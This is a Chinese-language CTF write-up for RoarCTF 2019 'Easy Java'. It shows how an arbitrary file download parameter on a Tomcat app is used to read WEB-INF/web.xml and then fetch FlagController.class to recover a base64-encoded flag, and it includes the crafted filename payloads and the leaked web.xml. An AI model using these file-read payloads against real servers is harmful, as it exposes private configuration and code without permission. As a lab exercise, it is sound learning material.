[RoarCTF 2019]Easy Java(学习).md

/

/Download?filename=help.docx

/Login

java实现的web服务真没接触过,这题算是学习了 查看大佬的wp发现这个filename参数实际上是要通过POST方法传递的(这也太离谱了)

filename=help.docx

/abc

服务器是tomcat

这里有一篇介绍tomcat目录结构的文章

https://www.jianshu.com/p/81ec9c51435e

访问WEB-INF/web.xml

filename=WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

<servlet>有两个子元素:

<servlet-mapping>有两个元素servlet-nameurl-pattern,用于将特定的url路径绑定到servlet-name所指示的servlet的控制器

这道题有四个servlet,分别绑定到

于是目的变为获得com.wm.ctf.FlagController类的内容

按照java的文件命名规则,文件名应该是com/wm/ctf/FlagController.class,而com文件夹按照tomcat的目录结构应该在WEB-INF/classes

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

filename=WEB-INF/classes/com/wm/ctf/FlagController.java

发现并不能下载.java后缀的文件,可能是想php那样直接被服务器执行了

回过头来看FlagController.class

这里有串base64编码的东西,猜测就是flag

#Web #tomcat #Java